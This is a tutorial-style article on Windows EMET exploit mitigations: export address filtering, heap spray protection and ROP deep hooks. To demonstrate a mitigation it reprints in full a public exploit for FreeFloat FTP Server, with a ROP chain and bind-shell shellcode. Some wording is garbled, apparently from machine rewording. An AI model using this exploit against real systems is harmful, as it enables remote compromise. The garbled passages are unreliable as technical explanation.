Windows Exploit Mitigation Technology 2023

In this article we will learn about Windows Exploit Mitigation Technology .

Overview[Windows Exploit Mitigation Technology ]:

The Enhanced Mitigation Experience Toolkit, or EMET, is essentially a shield or shell that runs over and protects Windows applications, regardless of how those applications have been authentically coded by their developer, to take advantage of the security guards that are built into Windows operating systems . System. EMET is a wrapper that enables and enforces a set of protections that, when used together, really improve a machine’s security posture and greatly reduce the chance that exploits can run against your machine and do any harm – most simply fail to be done thoroughly. . It’s especially helpful in protecting against exploits that haven’t yet been patched by the software developer, making it a key tool to have in your security arsenal.

In this article, we will explain EAF (Export Address Filtering), which prevents shellcode from running. This scenario comes into play if the attacker has somehow managed to bypass the previously mentioned exploit prevention mechanism. This technique prevents an attacker from executing some important parts of the shell code. This is protection for the entire application.

Inserts EMET.dll into the specified process to protect against shellcode execution.

Shellcodes locate the IAT using PEB.ldr. EAF prevents access to this location. EMET.dll places a hardware breakpoint on read at PEB.Ldr and catches the exception using an exception vector.

This exception handler is the first handler, meaning it will be called before any other exception vector handler.

The operator checks if the wrong address is in a different range than the loaded modules. In this way, EMET prevents IAT analysis.

A Vectored Exception Handler looks like this:

In order to test it, we can use the following c file that mentions PEB.LDR in the code.

[plain]
__asm
{
xor edx, edx // zero edx

mov edx, fs:[edx+0x30] // get a pointer to the PEB
mov edx, [edx+0x0C] // get PEB->Ldr
mov edx, [edx+0x14] // get the first module from the InMemoryOrder module list
}
[/plain]

This code chunk to get InMemoryOrder Module will fail under EAF.

Heap spray protection

The heap spray technique has been used in browsers for so long. Bulk spraying is basically used to bypass ASLR (address space randomization). In this technique, a large piece of data is allocated to a range where it is easy to predict the address.

If we allocate a large buff, we only fill it with 0x04 and reach far beyond the address 0x04040404, and then if we land at 0x04040404, the following side effects occur:

[simple]
MOV EAX,DWORD PTR DS:[ESI] << EAX == 0x04040404
CALL DWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404
[/simple]

Other addresses similar to NOP behavior are:

[simple]
0x05050505 = ADD EAX,5050505 <<< works as a NOP

0x0c0c0c0c = OR AL, 0C << also works as a NOP

0x0d0d0d0d = OR EAX,0d0d0d0d
[/simple]

EMET protects against heap splash by allocating memory in these areas and filling them with random data.

Deep hooks

This technique applies to the prevention of ROP. Prevents ROP attacks on a vulnerable application. This technique is based on the key observation that once exploited, it must use ROP code to exploit the attack, interacting with system calls in the process. Examples of such interaction include starting other processes, opening files, etc.

Also Read:10 tips for Certified Ethical Hacker (CEH) exam success

Using this information, we can define the concept of a critical function: A critical function is a function by which an attacker can modify the behavior of the system, either by modifying memory or the current process.

Some examples of critical functions include:

• 1 CreateProcess
• 2 VirtualProtect, VirtualAlloc, LoadLibrary –
• 3 Open the file

The ROP code will require at least one critical function call from the ROP code to be used successfully. Deep hooks use this observation to perform checks only when one of the critical functions is called: when a critical function is called, appropriate checks are made to determine whether the critical function was called from ROP code or as part of routine. program execution.

It is quite important to note that ROPGuard does not include a hard-coded list of critical features. Instead, critical functions are defined in the ROPGuard configuration file. In this way, critical functions can be integrated at any time to improve security, and even critical functions of a categorical process can be integrated. Similarly, critical functions can be abstracted to change system performance.

It should also be noted that the current prototype only improves the features in user mode. To prevent an attacker from bypassing these functions, the same protections could be integrated into the nuclear counterparts of the defined critical functions.

To demonstrate this, we will use the ROP exploit on a sample application protected with deep hooks. We will use FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass) by blake for the vulnerable application.

[plain]
http://www.exploit-db.com/exploits/17886/

#!/usr/bin/python
import socket, sys
from struct import pack

print “n===============================”
print “Freefloat FTP Server DEP Bypass”
print ” Written by Blake “
print “===============================n”

target = “localhost”
port = int(“21”)

# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = (“x31xc9xdbxcdxbbxb3x93x96x9dxb1x56xd9x74x24xf4”
“x5ax31x5ax17x83xeaxfcx03x5ax13x51x66x6ax75x1c”
“x89x93x86x7ex03x76xb7xacx77xf2xeax60xf3x56x07”
“x0bx51x43x9cx79x7ex64x15x37x58x4bxa6xf6x64x07”
“x64x99x18x5axb9x79x20x95xccx78x65xc8x3fx28x3e”
“x86x92xdcx4bxdax2exddx9bx50x0exa5x9exa7xfbx1f”
“xa0xf7x54x14xeaxefxdfx72xcbx0ex33x61x37x58x38”
“x51xc3x5bxe8xa8x2cx6axd4x66x13x42xd9x77x53x65”
“x02x02xafx95xbfx14x74xe7x1bx91x69x4fxefx01x4a”
“x71x3cxd7x19x7dx89x9cx46x62x0cx71xfdx9ex85x74”
“xd2x16xddx52xf6x73x85xfbxafxd9x68x04xafx86xd5”
“xa0xbbx25x01xd2xe1x21xe6xe8x19xb2x60x7bx69x80”
“x2fxd7xe5xa8xb8xf1xf2xcfx92x45x6cx2ex1dxb5xa4”
“xf5x49xe5xdexdcxf1x6ex1fxe0x27x20x4fx4ex98x80”
“x3fx2ex48x68x2axa1xb7x88x55x6bxcex8fx9bx4fx82”
“x67xdex6fx34x2bx57x89x5cxc3x31x01xc9x21x66x9a”
“x6ex5ax4cxb6x27xccxd8xd0xf0xf3xd8xf6x52x58x70”
“x91x20xb2x45x80x36x9fxedxcbx0ex77x67xa2xddxe6”
“x78xefxb6x8bxebx74x47xc2x17x23x10x83xe6x3axf4”
“x39x50x95xebxc0x04xdexa8x1exf5xe1x31xd3x41xc6”
“x21x2dx49x42x16xe1x1cx1cxc0x47xf7xeexbax11xa4”
“xb8x2axe4x86x7ax2dxe9xc2x0cxd1x5bxbbx48xedx53”
“x2bx5dx96x8excbxa2x4dx0bxfbxe8xccx3dx94xb4x84”
“x7cxf9x46x73x42x04xc5x76x3axf3xd5xf2x3fxbfx51”
“xeex4dxd0x37x10xe2xd1x1dx1a”)

buffer = “x41” * 230
eip = pack(‘<L’,0x77F6100A) # RETN – shlwapi
rop = “x42” * 8 # compensate
rop += pack(‘<L’,0x5D09382C) # POP EBX, RETN – msvcirt
rop += “xffxffxffxff”
rop += pack(‘<L’,0x77c127e1) # INC EBX, RETN
rop += pack(‘<L’,0x5d093466) # POP EBP, RETN
rop += pack(‘<L’,0x7c8622a4) # SetProcessDEPPolicy
rop += pack(‘<L’,0x5d095470) # POP EDI, RETN
rop += pack(‘<L’,0x5d095471) # RETN
rop += pack(‘<L’,0x5d0913b4) # POP ESI, RETN
rop += pack(‘<L’,0x5d095471) # RETN
rop += pack(‘<L’,0x77e7d102) # PUSHAD # RETN – RPCRT4

nops = “x90” * 10
junk = “x42” * (1000 – len(buffer + eip + rop + nops + shellcode))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “[+] Connecting to %s on port %d” % (target,port)
try:
s.connect((target,port))
s.recv(1024)
print “[+] Sending payload”
s.send(“USER ” + buffer + eip + rop + nops + shellcode + junk + “rn”)
s.close()
print “[+] Exploit successfully sent”
except:
print “[X] Unable to connect to %s” % target

raw_input(“[+] Press any key to exitn”)
[/plain]